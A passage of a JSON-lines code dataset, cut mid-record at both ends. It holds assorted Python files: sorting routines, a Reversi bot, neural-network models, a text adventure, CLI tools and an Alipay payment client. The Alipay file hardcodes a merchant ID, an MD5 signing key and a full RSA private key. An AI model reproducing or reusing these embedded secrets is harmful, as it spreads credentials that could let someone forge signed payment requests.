Yellow',\n \"question_type\": 'MCQ',\n \"option_1\":'Blue',\n \"option_2\": 'Red',\n \"option_3\": 'Green',\n \"option_4\": 'Yellow',\n \"answer\": 'Yellow'\n }\n ]\n }\n })\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"models/test_quiz_question.py","file_name":"test_quiz_question.py","file_ext":"py","file_size_in_byte":5818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"553791723","text":"import math\r\n\r\ndef counting_sort(iterable, key=lambda x: x):\r\n\r\n positions = key_positions(iterable, key)\r\n return sorted_array(iterable, key, positions)\r\n\r\n\r\ndef key_positions(iterable, key):\r\n # print(\"iterable: {} \".format(iterable))\r\n max_key = key(max(iterable, key=key))\r\n # print(\"max_key: {}\".format(max_key))\r\n key_counts = [0 for _ in range(max_key+1)]\r\n\r\n for item in iterable:\r\n key_counts[key(item)] += 1\r\n # print(\"key counts before sum: {}\".format(key_counts))\r\n running_sum = 0\r\n for pos in range(len(key_counts)):\r\n key_counts[pos], running_sum = running_sum, key_counts[pos] + running_sum\r\n # print(\"key counts after sum: {}\".format(key_counts))\r\n\r\n return key_counts\r\n\r\n\r\ndef sorted_array(iterable, key, positions):\r\n result_list = [0 for _ in range(len(iterable))]\r\n for item in iterable:\r\n k = key(item)\r\n result_list[positions[k]] = item\r\n positions[k] += 1\r\n return result_list\r\n\r\ndef radix_sort(iterable, digits):\r\n max_num = max(iterable)\r\n max_num_digits = math.ceil(math.log(max_num + 1, 10)) # x+1 so that 100 is considered as three digits, etc.\r\n # print(\"max num digits: {}\".format(max_num_digits))\r\n for d in range(1, digits + 1):\r\n iterable = counting_sort(iterable, key=get_dth_least_significant_digit_function(d))\r\n return iterable\r\n\r\ndef get_dth_least_significant_digit_function(digit):\r\n return lambda x: (x//10**(digit-1))%10\r\n\r\n#tests\r\nprint(get_dth_least_significant_digit_function(6))\r\nprint(radix_sort([1,345,20,51,83,18], 2))\r\n","sub_path":"misc/radix_sort.py","file_name":"radix_sort.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"231386539","text":"import itertools, random, copy\n\nfrom init import Board\n\ndef evalPosiblePosition(victory_cell, cell, color, position):\n cell = copy.deepcopy(cell)\n cell.place(position, color)\n b, w = cell.getResult()\n\n v_b, v_w = 0, 0\n for c in victory_cell:\n v_b += 1 if cell.getValue(c) == 'B' else 0\n v_w += 1 if cell.getValue(c) == 'W' else 0\n\n if color == 'B':\n return b + v_b * 64\n else:\n return w + v_w * 64\n\ndef bot(victory_cell, cell, you):\n color = 'B' if you == \"BLACK\" else 'W'\n\n posible_positions = []\n for (r, c) in itertools.product(list('12345678'), list('abcdefgh')):\n if cell.isPlaceable(c + r, color):\n posible_positions.append(c + r)\n\n best_positions = []\n best_value = 0\n for position in posible_positions:\n value = evalPosiblePosition(victory_cell, cell, color, position)\n if value > best_value:\n best_positions = [position]\n best_value = value\n elif value == best_value:\n best_positions.append(position)\n\n if len(best_positions) > 0:\n return random.choice(best_positions)\n else:\n return \"NULL\"\n\ndef callBot(game_info):\n lines = game_info.split('\\n')\n\n victory_cell = lines[1].split(' ')\n\n cell = Board()\n cell.update(lines[3:11])\n\n you = lines[12]\n\n return bot(victory_cell, cell, you)\n","sub_path":"bot_2.py","file_name":"bot_2.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"522443408","text":"__author__ = 'mriegel'\n# See http://stackoverflow.com/questions/3874837/how-do-i-compress-a-folder-with-the-gzip-module-inside-of-python\nimport tarfile\nimport hashlib\n\n\nclass Compressor():\n\n @staticmethod\n def folder(file_path, folder):\n tar = tarfile.open(file_path, \"w:bz2\")\n tar.add(folder, arcname=\".\")\n tar.close()\n\n md5 = hashlib.md5()\n with open(file_path, 'rb') as f:\n for chunk in iter(lambda: f.read(8192), b''):\n md5.update(chunk)\n return md5.hexdigest()\n","sub_path":"monty/files/compress.py","file_name":"compress.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"53349154","text":"from Tree import *\nroot1 = init_tree(2)\nroot2 = init_tree(3)\n\nclass Solution:\n def leafSimilar(self, root1, root2):\n \"\"\"\n :type root1: TreeNode\n :type root2: TreeNode\n :rtype: bool\n \"\"\"\n\n \"\"\"\n add each node to stack\n check if the node is leaf node, if yes, add to\n \"\"\"\n s1 = [root1]\n s2 = [root2]\n r1 = []\n r2 = []\n\n while s1:\n cur1 = s1.pop()\n if not cur1:\n continue\n flag = False\n\n if cur1.left:\n s1.append(cur1.left)\n flag = True\n\n if cur1.right:\n s1.append(cur1.right)\n flag = True\n\n if not flag:\n r1.append(cur1.val)\n\n while s2:\n cur2 = s2.pop()\n if not cur2:\n continue\n flag = False\n\n if cur2.left:\n s2.append(cur2.left)\n flag = True\n\n if cur2.right:\n s2.append(cur2.right)\n flag = True\n\n if not flag:\n r2.append(cur2.val)\n\n return r1 == r2\n\n\nsol = Solution()\nsol.leafSimilar(root1, root2)\n","sub_path":"LeetCode/Trees/LeafSimilarTrees.py","file_name":"LeafSimilarTrees.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"27445524","text":"#! /usr/bin/env python\n# coding: utf-8\n\nimport json\nimport time\nimport random\nimport urllib2\nimport hashlib\nimport threading\nfrom urllib import quote, quote_plus\nimport requests\nimport logging\nimport datetime\n\n\nlogger = logging.getLogger(__name__)\n\ntry:\n import pycurl\n from cStringIO import StringIO\nexcept ImportError:\n pycurl = None\n\n\nclass AlipayConf_pub(object):\n \"\"\"配置账号信息\"\"\"\n # ==========【合作者身份号】=================================\n PID = \"2088022823001725\"\n # ==========【卖家支付宝用户号】==============================\n SELLER_ID = PID\n # ========【MD5密钥】=======================================\n MD5_KEY = \"fzsimh6f6q207tcdnvbsvgh99kr2mnmi\"\n # =======【基本信息设置】====================================\n # 异步通知url,商户根据实际开发过程设定\n NOTIFY_URL = \"http://i.winlesson.com.com/api/pay/payback\"\n\n # =======【curl超时设置】===================================\n CURL_TIMEOUT = 30\n # =========【支付宝接口url】================================\n ALIPAY_API_URL = \"https://mapi.alipay.com/gateway.do\"\n # =======【HTTP客户端设置】=================================\n HTTP_CLIENT = \"CURL\" # (\"URLLIB\", \"CURL\")\n\n APP_ID = \"******\"\n\n RSA_PRIVATE = \"\"\"\n -----BEGIN RSA PRIVATE KEY-----\n MIIBOwIBAAJBANQNY7RD9BarYRsmMazM1hd7a+u3QeMPFZQ7Ic+BmmeWHvvVP4Yj\n yu1t6vAut7mKkaDeKbT3yiGVUgAEUaWMXqECAwEAAQJAIHCz8h37N4ScZHThYJgt\n oIYHKpZsg/oIyRaKw54GKxZq5f7YivcWoZ8j7IQ65lHVH3gmaqKOvqdAVVt5imKZ\n KQIhAPPsr9i3FxU+Mac0pvQKhFVJUzAFfKiG3ulVUdHgAaw/AiEA3ozHKzfZWKxH\n gs8v8ZQ/FnfI7DwYYhJC0YsXb6NSvR8CIHymwLo73mTxsogjBQqDcVrwLL3GoAyz\n V6jf+/8HvXMbAiEAj1b3FVQEboOQD6WoyJ1mQO9n/xf50HjYhqRitOnp6ZsCIQDS\n AvkvYKc6LG8IANmVv93g1dyKZvU/OQkAZepqHZB2MQ==\n -----END RSA PRIVATE KEY-----\n \"\"\"\n\n RSA_PUBLIC = \"\"\"\n -----BEGIN PUBLIC KEY-----\n MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANQNY7RD9BarYRsmMazM1hd7a+u3QeMP\n FZQ7Ic+BmmeWHvvVP4Yjyu1t6vAut7mKkaDeKbT3yiGVUgAEUaWMXqECAwEAAQ==\n -----END PUBLIC KEY-----\n \"\"\"\n\n\nclass Singleton(object):\n \"\"\"单例模式\"\"\"\n\n _instance_lock = threading.Lock()\n\n def __new__(cls, *args, **kwargs):\n if not hasattr(cls, \"_instance\"):\n with cls._instance_lock:\n if not hasattr(cls, \"_instance\"):\n impl = cls.configure() if hasattr(cls, \"configure\") else cls\n instance = super(Singleton, cls).__new__(impl, *args, **kwargs)\n if not isinstance(instance, cls):\n instance.__init__(*args, **kwargs)\n cls._instance = instance\n return cls._instance\n\n\nclass HttpClient(Singleton):\n def get(self, url, params, timeout=AlipayConf_pub.CURL_TIMEOUT):\n r = requests.get(url, params=params, timeout=timeout)\n return r.content\n\n def post(self, url, data, timeout=AlipayConf_pub.CURL_TIMEOUT, **kwargs):\n r = requests.post(url, data, timeout=timeout, **kwargs)\n return r.json()\n\n\nclass Common_util_pub(object):\n \"\"\"所有接口的基类\"\"\"\n def __init__(self):\n self.url_client = HttpClient()\n\n\n def create_listbumber(self):\n return \"%s\" % int(time.time() * 10 ** 6)\n\n # def trimString(self, value):\n # if value is not None and len(value) == 0:\n # value = None\n # return value\n #\n # def createNoncestr(self, length=32):\n # \"\"\"产生随机字符串,不长于32位\"\"\"\n # chars = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n # strs = []\n # for x in range(length):\n # strs.append(chars[random.randrange(0, len(chars))])\n # return \"\".join(strs)\n\n def formatBizQueryParaMap(self, paraMap, urlencode):\n \"\"\"格式化参数,签名过程需要使用\"\"\"\n slist = sorted(paraMap)\n buff = []\n for k in slist:\n v = quote(paraMap[k]) if urlencode else paraMap[k]\n buff.append(\"{0}={1}\".format(k, v))\n\n return \"&\".join(buff)\n\n def getMD5Sign(self, obj):\n \"\"\"生成签名\"\"\"\n # 签名步骤一:按字典序排序参数,formatBizQueryParaMap已做\n for key in (\"sign\", \"sign_type\"):\n obj.pop(key, \"\")\n String = self.formatBizQueryParaMap(obj, False)\n # 签名步骤二:在直接在string后加入KEY\n String = \"{0}{1}\".format(String, AlipayConf_pub.MD5_KEY)\n # print \"string:\", String\n # 签名步骤三:MD5加密\n md5_string = hashlib.md5(String).hexdigest()\n return md5_string\n\n def get_rsa_sign(self, obj):\n # Use EVP api to sign message\n from M2Crypto import EVP\n key = EVP.load_key_string(AlipayConf_pub.RSA_PRIVATE)\n\n obj.pop(\"sign\", \"\")\n to_sign = self.formatBizQueryParaMap(obj, False)\n # if you need a different digest than the default 'sha1':\n key.reset_context(md='sha1')\n key.sign_init()\n key.sign_update(to_sign)\n return key.sign_final()\n\n def check_rsa_sign(self, obj):\n # Use EVP api to verify signature\n from M2Crypto import BIO, RSA, EVP\n bio = BIO.MemoryBuffer(AlipayConf_pub.RSA_PUBLIC)\n rsa = RSA.load_pub_key_bio(bio)\n pubkey = EVP.PKey()\n pubkey.assign_rsa(rsa)\n pubkey.reset_context(md=\"sha1\")\n\n sign = obj.pop(\"sign\")\n pubkey.verify_init()\n pubkey.verify_update(obj)\n if pubkey.verify_final(sign) == 1:\n return True\n return False\n\n\nclass AliPayRedirectPay(Common_util_pub):\n \"\"\"及时到账收款方式\"\"\"\n def __init__(self):\n self.parameters = {}\n super(AliPayRedirectPay, self).__init__()\n\n def create_redirect_order(self):\n pass\n\n def check_paramters(self):\n needed_parameters = (\"service\", \"partner\", \"_input_charset\", \"sign_type\", \"sign\", \"out_trade_no\", \"subject\",\n \"payment_type\", \"total_fee\", \"seller_id\")\n if any(self.parameters.get(key, None) is None for key in needed_parameters):\n return False\n return True\n\n def make_request_parameters(self, parameters):\n\n self.parameters.update({\n \"service\": \"create_direct_pay_by_user\",\n \"partner\": AlipayConf_pub.PID,\n \"_input_charset\": \"GB2312\",\n \"sign_type\": \"MD5\",\n \"notify_url\": AlipayConf_pub.NOTIFY_URL,\n \"payment_type\": \"1\",\n \"seller_id\": AlipayConf_pub.SELLER_ID\n })\n\n if isinstance(parameters, dict):\n self.parameters.update(parameters)\n\n # def pay(self):\n # sign = self.getMD5Sign(self.parameters)\n # self.parameters.update({\n # \"sign\": sign,\n # \"sign_type\": \"MD5\"\n # })\n #\n # if not self.check_paramters():\n # logger.error(\"Missing parameter\")\n #\n # print \"params\", self.parameters\n #\n # return self.url_client.get(AlipayConf_pub.ALIPAY_API_URL, self.parameters)\n def get_pay_link(self):\n\n sign = self.getMD5Sign(self.parameters)\n self.parameters.update({\n \"sign\": sign,\n \"sign_type\": \"MD5\"\n })\n\n if not self.check_paramters():\n logger.error(\"Missing parameter\")\n return \"\"\n\n return AlipayConf_pub.ALIPAY_API_URL + \"?\" + self.formatBizQueryParaMap(self.parameters, False)\n\n\nclass AlipayPrePayHandler(Common_util_pub):\n \"\"\"创建预支付订单\"\"\"\n def __init__(self):\n self.parameters = {}\n super(AlipayPrePayHandler, self).__init__()\n\n def check_parameters(self):\n \"\"\"检查参数\"\"\"\n needed_parameters = (\"app_id\", \"method\", \"charset\", \"sign_type\", \"sign\", \"timestamp\", \"version\",\n \"biz_content\", \"out_trade_no\", \"total_amount\")\n if any(self.parameters[key] is None for key in needed_parameters):\n return False\n return True\n\n def make_request_pameters(self, params):\n self.parameters.update({\n \"app_id\": AlipayConf_pub.APP_ID,\n \"method\": \"alipay.trade.precreate\",\n \"charset\": \"utf-8\",\n \"sign_type\": \"RSA\",\n \"timestamp\": datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"version\": \"1.0\",\n \"notify_url\": AlipayConf_pub.NOTIFY_URL,\n \"format\": \"JSON\",\n # \"biz_content\": {}\n \"seller_id\": AlipayConf_pub.SELLER_ID\n })\n\n biz_content = {}\n if isinstance(biz_content, dict):\n biz_content.update(params)\n self.parameters[\"biz_content\"] = biz_content\n\n def get_qrcode(self):\n if not self.check_parameters():\n logger.error(\"Missing parameter\")\n return \"\"\n sign = self.get_rsa_sign(self.parameters)\n self.parameters.update({\"sign\": sign})\n\n ret = self.url_client.post(AlipayConf_pub.ALIPAY_API_URL, self.parameters)\n response = ret[\"alipay_trade_precreate_response\"]\n if response[\"code\"] == \"10000\" and response[\"out_trade_no\"] == self.parameters[\"out_trade_no\"]:\n return response[\"qr_code\"]\n","sub_path":"utils/alipay.py","file_name":"alipay.py","file_ext":"py","file_size_in_byte":9197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"67886219","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom src.utils import ABS, TLU, HPF, SPPLayer\n\n__all__ = ['YedNet']\n\nclass YedNet(nn.Module):\n def __init__(self):\n super(YedNet, self).__init__()\n self.hpf = HPF()\n self.group1 = nn.Sequential(\n nn.Conv2d(30, 30, 5, 1, 2),\n ABS(),\n nn.BatchNorm2d(30),\n TLU(3.0)\n )\n self.group2 = nn.Sequential(\n nn.Conv2d(30, 30, 5, 1, 2),\n nn.BatchNorm2d(30),\n TLU(3.0),\n nn.AdaptiveAvgPool2d((128, 128))\n )\n self.group3 = nn.Sequential(\n nn.Conv2d(30, 32, 5, 1, 2),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.AdaptiveAvgPool2d((64, 64))\n )\n self.group4 = nn.Sequential(\n nn.Conv2d(32, 64, 5, 1, 2),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.AdaptiveAvgPool2d((32, 32))\n )\n self.group5 = nn.Sequential(\n nn.Conv2d(64, 128, 5, 1, 2),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.AdaptiveAvgPool2d((1, 1))\n )\n self.classfier = nn.Sequential(\n nn.Linear(128, 256),\n nn.ReLU(),\n nn.Linear(256, 1024),\n nn.ReLU(),\n nn.Linear(1024, 2)\n )\n\n def forward(self, x):\n x = self.hpf(x)\n x = self.group1(x)\n x = self.group2(x)\n x = self.group3(x)\n x = self.group4(x)\n x = self.group5(x)\n x = x.view(-1, 128)\n out = self.classfier(x)\n return out","sub_path":"src/models/yednet.py","file_name":"yednet.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"410499194","text":"import tensorflow as tf\nfrom nn import NN\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets('datasets/mnist/', one_hot=True)\n\nnn = NN([28*28, 100, 10], 3.0, 0.01, actfnc=tf.sigmoid)\nepoch_num = 30\nbatch_size = 100\nbatch_num = mnist.train.num_examples // batch_size\n\n# Train the model\nfor _ in range(epoch_num):\n sum_cost = 0\n for __ in range(batch_num):\n batch_x, batch_y = mnist.train.next_batch(batch_size)\n sum_cost += nn.train(batch_x, batch_y)\n print('epoch %d: cost %f' % (_, sum_cost/batch_num))\n\n train_accuracy = nn.evaluate(mnist.train.images, mnist.train.labels)\n test_accuracy = nn.evaluate(mnist.test.images, mnist.test.labels)\n print('train accuracy: %f' % (train_accuracy))\n print('test accuracy: %f' % (test_accuracy))\n\n# Final result\ntest_accuracy = nn.evaluate(mnist.test.images, mnist.test.labels)\nprint('accuracy: %f' % (test_accuracy))\n","sub_path":"3-0-nn.py","file_name":"3-0-nn.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"378525554","text":"\"\"\"Measurer's module.\"\"\"\nfrom typing import Generic, TypeVar\nfrom abc import abstractmethod\n\nfrom mlscratch.tensor import Tensor\n\n\nT = TypeVar('T')\n\nclass Measurer(Generic[T]):\n \"\"\"Abstracts an object that measures the accuracy of the\n real output against the expected one.\"\"\"\n\n @abstractmethod\n def measure(\n self,\n result: Tensor,\n expected: Tensor) -> T:\n \"\"\"Measures the accuracy of the real output against\n the expected one.\"\"\"\n","sub_path":"src/mlscratch/measurer/measurer.py","file_name":"measurer.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"22865708","text":"#! /usr/bin/env python\n\n\"\"\"Tests for the ``preview_image`` module.\n\nAuthors\n-------\n\n - Johannes Sahlmann\n\n\nUse\n---\n\n These tests can be run via the command line (omit the ``-s`` to\n suppress verbose output to ``stdout``):\n\n ::\n\n pytest -s test_preview_image.py\n\"\"\"\n\nimport glob\nimport os\nimport pytest\n\nfrom astropy.io import fits\n\nfrom jwql.utils.preview_image import PreviewImage\n\n# directory to be created and populated during tests running\nTEST_DIRECTORY = os.path.join(os.environ['HOME'], 'preview_image_test')\n\n# directory that contains sample images\nTEST_DATA_DIRECTORY = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'test_data')\n\n\n@pytest.fixture(scope=\"module\")\ndef test_directory(test_dir=TEST_DIRECTORY):\n \"\"\"Create a test directory for preview image.\n\n Parameters\n ----------\n test_dir : str\n Path to directory used for testing\n\n Yields\n -------\n test_dir : str\n Path to directory used for testing\n\n \"\"\"\n os.mkdir(test_dir) # creates directory\n yield test_dir\n print(\"teardown test directory\")\n if os.path.isdir(test_dir):\n os.rmdir(test_dir)\n\n\ndef test_make_image(test_directory):\n \"\"\"Use PreviewImage.make_image to create preview images of a sample JWST exposure.\n\n Assert that the number of JPGs created corresponds to the number of integrations.\n\n Parameters\n ----------\n test_directory : str\n Path of directory used for testing\n\n \"\"\"\n filenames = glob.glob(os.path.join(TEST_DATA_DIRECTORY, '*.fits'))\n print('\\nGenerating preview images for {}.'.format(filenames))\n\n output_directory = test_directory\n\n for filename in filenames:\n\n header = fits.getheader(filename)\n\n # Create and save the preview image or thumbnail\n for create_thumbnail in [False, True]:\n try:\n image = PreviewImage(filename, \"SCI\")\n image.clip_percent = 0.01\n image.scaling = 'log'\n image.cmap = 'viridis'\n image.output_format = 'jpg'\n image.thumbnail = create_thumbnail\n\n if create_thumbnail:\n image.thumbnail_output_directory = output_directory\n else:\n image.preview_output_directory = output_directory\n\n image.make_image()\n except ValueError as error:\n print(error)\n\n if create_thumbnail:\n extension = 'thumb'\n else:\n extension = 'jpg'\n\n # list of preview images\n preview_image_filenames = glob.glob(os.path.join(test_directory, '*.{}'.format(\n extension)))\n assert len(preview_image_filenames) == header['NINTS']\n\n # clean up: delete preview images\n for file in preview_image_filenames:\n os.remove(file)\n","sub_path":"jwql/tests/test_preview_image.py","file_name":"test_preview_image.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"215198023","text":"from room import Room\nfrom player import Player\nfrom item import Item\n\n# Declare all the rooms\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\"),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n\nitem1 = Item(\"sword\", \"strong, shiny, useful\")\nitem2 = Item(\"torch\", \"lights the way\")\nitem3 = Item(\"shield\", \"protects from danger\")\nitem4 = Item(\"potion\", \"restores health\")\n\nroom['outside'].items.append(item1)\nroom['outside'].items.append(item2)\nroom['foyer'].items.append(item3)\nroom['foyer'].items.append(item4)\n\n#\n# Main\n#\n\n# Make a new player object that is currently in the 'outside' room.\np1 = Player(input(\"Please enter your name: -> \").capitalize(), room['outside'])\n\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\n\n\nprint(\"Welcome to the Cave of Wonders\")\nprint(f\"Your name is {p1.name} and you are currently in the {p1.room.name}\") \nprint(room['outside'].description)\nprint(f'{p1.room.get_rooms_string()}')\nprint(\"Your choices matter here so choose wisely\")\n\nchoices = [\"n\", \"s\", \"e\", \"w\"]\nacquire = [\"get\", \"take\"]\nrelinquish = [\"drop\"]\n\nwhile True:\n cmd = input(f'Please choose {choices[0]} for North, {choices[1]} for South, {choices[2]} for East, or {choices[3]} for West to proceed.. If you have finished your adventure press q to quit ->').lower()\n first_word = cmd.split()[0]\n if cmd in choices:\n p1.move(cmd) \n p1.room.get_rooms_string()\n print(f'{p1.room.get_rooms_string()}')\n elif first_word in acquire:\n second_word = cmd.split()[1]\n if p1.room.get_items().__contains__(second_word):\n p1.room.remove_item(f\"{cmd.split()[1]}\")\n p1.on_take(cmd.split()[1])\n print(f'This room now contains: {p1.room.get_items_string()}') \n print(f'{p1.room.get_rooms_string()}') \n elif first_word in relinquish:\n second_word = cmd.split()[1]\n print(f'You sly dog you did it yo, you got {cmd}') \n p1.room.add_item(f\"{cmd.split()[1]}\")\n p1.on_remove(cmd.split()[1])\n print(f'This room now contains: {p1.room.get_items_string()}')\n print(f'{p1.room.get_rooms_string()}') \n elif cmd == \"q\":\n print(\"Thanks for adventuring please quest again\")\n break #or exit()\n else:\n print(f\"That is not an option, please choose from {choices} to proceed\")","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"645729935","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n/***************************************************************************\n ARK Matrix\n Part of the Archaeological Recording Kit by L-P : Archaeology\n http://ark.lparchaeology.com\n -------------------\n begin : 2016-02-29\n git sha : $Format:%H$\n copyright : 2016 by John Layt\n email : john@layt.net\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\n\nimport os, sys, argparse\n\nfrom src import process\n\nparser = argparse.ArgumentParser(description='A tool to process Harris Matrix files.')\nparser.add_argument(\"-i\", \"--input\", help=\"Choose input format, optional, defaults to infile suffix\", choices=['lst', 'csv'])\nparser.add_argument(\"-o\", \"--output\", help=\"Choose output format, optional, defaults to outfile suffix\", choices=['none', 'gv', 'dot', 'gml', 'graphml', 'gxl', 'tgf', 'csv'])\nparser.add_argument(\"-r\", \"--reduce\", help=\"Apply a transitive reduction to the input graph\", action='store_true')\nparser.add_argument(\"-s\", \"--style\", help=\"Include basic style formatting in output\", action='store_true')\nparser.add_argument(\"--site\", help=\"Site Code for Matrix\", default='')\nparser.add_argument(\"--name\", help=\"Name for Matrix\", default='')\nparser.add_argument(\"--sameas\", help=\"Include Same-As relationships in output\", action='store_true')\nparser.add_argument(\"--group\", help=\"Generate subgroup and group Matrices\", action='store_true')\nparser.add_argument(\"--orphans\", help=\"Include orphan units in output (format dependent)\", action='store_true')\nparser.add_argument(\"--width\", help=\"Width of node if --style is set\", type=float, default=50.0)\nparser.add_argument(\"--height\", help=\"Height of node if --style is set\", type=float, default=25.0)\nparser.add_argument('infile', help=\"Source data file\", nargs='?', type=argparse.FileType('r'), default=sys.stdin)\nparser.add_argument('outfile', help=\"Destination data file\", nargs='?', type=argparse.FileType('w'), default=sys.stdout)\nparser.add_argument('subgroupfile', help=\"Destination subgroup data file if --group set\", nargs='?', type=argparse.FileType('w'), default=sys.stdout)\nparser.add_argument('groupfile', help=\"Destination group data file if --group set\", nargs='?', type=argparse.FileType('w'), default=sys.stdout)\n\nargs = parser.parse_args()\noptions = vars(args)\n\nif not options['input'] and args.infile.name != '':\n basename, suffix = os.path.splitext(args.infile.name)\n options['input'] = suffix.strip('.')\nif not options['input']:\n options['input'] = 'csv'\noptions['input'] = options['input'].lower()\n\nif not options['output'] and args.outfile.name != '':\n basename, suffix = os.path.splitext(args.outfile.name)\n options['output'] = suffix.strip('.')\n options['outname'] = basename\nif not options['output']:\n options['output'] = 'none'\noptions['output'] = options['output'].lower()\n\nif args.group:\n if options['output']:\n options['subgroupoutput'] = options['output']\n options['groupoutput'] = options['output']\n else:\n if args.subgroupfile.name != '':\n basename, suffix = os.path.splitext(args.subgroupfile.name)\n options['subgroupoutput'] = suffix.strip('.')\n if args.groupfile.name != '':\n basename, suffix = os.path.splitext(args.groupfile.name)\n options['groupoutput'] = suffix.strip('.')\nif 'subgroupoutput' not in options:\n options['subgroupoutput'] = 'none'\nif 'groupoutput' not in options:\n options['groupoutput'] = 'none'\noptions['subgroupoutput'] = options['subgroupoutput'].lower()\noptions['groupoutput'] = options['groupoutput'].lower()\n\nif 'outname' not in options:\n if args.name and args.site:\n options['outname'] = args.site + '_' + args.name\n elif args.name:\n options['outname'] = args.name\n elif args.site:\n options['outname'] = args.site\n else:\n options['outname'] = 'matrix'\n\nprocess.process(args.infile, args.outfile, args.subgroupfile, args.groupfile, options)\n","sub_path":"arkmatrix.py","file_name":"arkmatrix.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"203303265","text":"import os\nimport sys\nimport subprocess\nfrom os.path import dirname, realpath\nimport argparse\n\nfrom src.code.support.DAP_DATA_PROC import jplaceDDP as DDP\n\n\ndef main(workdir, jdir):\n\t#jplace_file_list = os.listdir(jplace_path)\n\tjplace_file_list = []\n\t# If user specifies a file directory for the input .jplace files\n\tfor root, dirs, files in os.walk(jdir, topdown=True):\n\t\tif root[-1] != '/':\n\t\t\troot = root + '/'\n\t\tfor file in files:\n\t\t\tif file.split('.')[-1].find('jplace') != -1:\n\t\t\t\t# Checks to see if jplace have placements\n\t\t\t\tcheck_jplace = DDP(root + file).emptyjplace()\n\t\t\t\tif check_jplace != False:\n\t\t\t\t\tjplace_file_list.append(root + file)\n\t\t\t\telse:\n\t\t\t\t\tprint (file, 'has no placements...')\n\n\tprint (len(jplace_file_list),'files to run...')\n\n\tedpl_list = []\n\tfor jplace in jplace_file_list:\n\t\tif jplace.split('.')[-1] == 'jplace':\n\t\t\tgene = jplace.split('.')[0]\n\t\t\tedpl_out = subprocess.check_output(['guppy', 'edpl', jplace],\n\t\t\t\t\t\t\tstderr = subprocess.STDOUT\n\t\t\t\t\t\t\t)\n\t\t\tout_list = edpl_out.split('\\n')\n\t\t\tfor edpl in out_list:\n\t\t\t\tif edpl.replace(' ', '') != '':\n\t\t\t\t\tedpl_list.append(gene + ',' \n\t\t\t\t\t\t+ ','.join(filter(None,edpl.split(' '))))\n\t\t\tprint (jplace, 'has been processed...')\n\toutput = open(workdir + 'EDPL_roundup.csv', 'w')\n\toutput.write('\\n'.join(edpl_list))\n\toutput.close()\n\n\n\nif __name__ == '__main__':\n\t# collect arguments from commandline\n\tparser = argparse.ArgumentParser(description='Welcome to EDPL Calc! Get your jplace files ready for processing!')\n\tparser.add_argument('-w','--workdir', help='path to working directory. [default = CWD]', \n\t\trequired=False, default=dirname(realpath(__file__))\n\t\t)\n\tparser.add_argument('-d','--jdir', help='path to input jplace directory. [default = False]',\n\t\trequired=False, default=False\n\t\t)\n\targs = vars(parser.parse_args())\n\t# check to make sure that enough arguments were passed before proceeding\n\tif len(sys.argv) < 2:\n\t\tsys.exit(\"Missing flags, type \\\"--help\\\" for 